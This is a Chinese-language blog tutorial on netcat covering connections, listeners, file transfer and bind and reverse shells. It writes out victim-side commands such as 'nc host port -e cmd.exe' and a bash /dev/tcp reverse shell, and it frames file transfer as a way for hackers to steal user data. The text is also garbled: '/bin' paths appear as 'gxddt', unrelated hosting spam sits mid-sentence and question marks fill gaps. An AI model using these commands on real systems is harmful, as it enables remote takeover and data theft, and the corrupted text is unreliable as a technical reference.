欢迎光临
我们一直在努力

NETCAT,Windows netcat

引言

在看一些博客之前,我一直纳闷NetCat是一只什么样的猫,居然可以被人称为瑞士军刀。莫非是一只来自瑞士的??于是,特意去网上查了查相关资料。以此整理,方便后续查阅和使用,同时方便一些新手用户入坑。

介绍

1.?????netcat,我们需要把它拆分成2部分来看,net? vps云服务器 cat,在Linux环境下,我们常用cat来输出文件内容,因此,在网络环境下,加上一个net,与Linux环境进行区分。由此看来,(也被人称为nc,下文都用nc代替)是一款用于网络上的,可以打印出内容的一个工具。

2.???我们首先看看它一般的使用。值得一提的就是,现在的Ubuntukali macos都默认安装nc,但是编译版本不一致,导致某些命令参数无法通用。下图分别是Ubuntu kali macos 的nc帮助显示:

这3个系统环境下给出的nc options并不是完全一致,很明显的一个就是-e,在mac 和Ubuntu环境下都没有,但是在kali下有。我在拿虚拟机与实体机做测试时,正好碰到有关正向shell(BindShell)与反向shell(Inverse Shell)。以前自己还对于这个概念也是不太理解,顺便回顾下。

目前Ubuntu 16默认安装了nc,这款nc不是traditional,因此不带-e,若需要,可执行sudo apt-get installnetcat-traditional 然后执行 sudo update-alternatives –confignc ,再选择nc对应的执行文件,输入数字即可。

有2台机器,攻击者A,受害者V,正向shell指攻击者A可以直接连接或者拿到V的shell权限,比如用某些开放服务的漏洞黑到该主机,拿到root权限,这种很容易理解;反向Shell指Shell回弹或者叫反射,就是说受害者V把自己的Shell挂载(或者叫attach更合适)到某个端口上,以此暴露到攻击者A可以连接的位置,攻击者A通过连接该端口最终拿到shell。2者最大的区别就在于正向shell应该是在拿到权限的基础上做的,反向shell是在没有拿到root权限,只是通过nc端口绑定shell的功能,实现shell反弹,补充一句,-e /gxddt/bash 或者-e cmd.exe 一般可以将shell反弹回攻击者A。

3.???常用功能总结:

a)??????nc dst_hostname dst_port:nc实现连接到dst_host对应的dst_port上。在连接成功后,可以正常的输入一些该端口绑定服务所识别的命令。

GET /HTTP/1.0

b)?????nc –l –p src_port:src_port开启侦听模式,等待连接。

nc –l –vp src_port < input_filename inputfilename与src_port绑定

nc dst_hostname dst_port > output_filename dst_port与outputfilename绑定

最终可以实现从input_filename转移到output_filename,这个过程可以帮助黑客偷走用户的一些关键资料。

这2个方向可以倒置,实现的功能就完全相仿了,黑客可以往用户目录传输一些文件。

c)??????shell反弹

受害者V: nc dst_host dst_port –e? [cmd.exe|gxddt/bash|gxddt/zsh ]

攻击者A: nc –lvp src_port

攻击者开启监听模式,受害者绑定shell反弹给攻击者

d)?????shell正向连接

受害者V:? ?nc -lvp src_port? ? –e [cmd.exe|gxddt/bash|gxddt/zsh]

攻击者A: nc dst_host dst_port

e)??????受害者机器上没有netcat,仍然可以做到反弹:

攻击者A:nc –l –p src_port

受害者V:bash -i >& /dev/tcp/dst_host/dst_port0>&1

?

46982707

赞(0)
【声明】:本博客不参与任何交易,也非中介,仅记录个人感兴趣的主机测评结果和优惠活动,内容均不作直接、间接、法定、约定的保证。访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。